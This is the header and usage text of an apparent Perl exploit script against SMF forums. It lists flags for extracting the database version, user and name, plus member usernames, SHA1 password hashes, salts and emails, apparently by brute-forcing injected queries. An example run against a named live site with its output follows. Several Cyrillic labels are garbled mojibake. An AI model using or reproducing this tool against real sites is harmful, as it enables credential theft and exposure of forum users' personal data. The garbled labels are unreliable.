author: eLwaux
thanks: mailbrush, antichat.ru, uasc.org.ua
-------------------------------------------------------------------------
usage:
expl.pl http://site.com/smf/index.php ID_MEMBER TABLE_PREF {params}
params:
-v = get version()
-u = get user()
-d = get database()
-an = get User Name (логÐн)
-ap = get User Password (sha1 �е�)
-as = get User Salt (Ñ�ÐлÑ�Ñ�)
-am = get User Mail (емейл)
-------------------------------------------------------------------------
(
also you can modif script source:
$SHOW_ALL = 1; == show brute-step result
$SHOW_COUNT_REQ = 1 == show req's count
$OPTIMAL = 1 == optimal brute
)
-------------------------------------------------------------------------
example:
http://scrubs.net.ru/cms/forum/index.php
] Host: scrubs.net.ru
BAD answer = 'Ð�Ñ�ÐбкÐ'
] version() = 5
] user() = us5729a@localhost
